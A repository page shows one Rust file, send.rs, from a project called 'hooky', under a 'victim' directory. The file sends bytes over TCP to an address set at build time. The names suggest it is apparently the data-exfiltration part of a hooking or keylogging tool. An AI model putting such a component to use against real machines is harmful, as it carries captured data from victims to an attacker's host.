~/hooky

hooky/victim/src/send.rs -rw-r--r-- 208 B
b90df7a0 — Arthur Melton fix some clippy things 2 years ago
1
2
3
4
5
6
7
8
use std::io::Write;
use std::net::TcpStream;

pub fn send(data: &[u8]) -> Result<(), std::io::Error> {
    let mut stream = TcpStream::connect(env!("send_to"))?;
    let _ = stream.write(data)?;
    Ok(())
}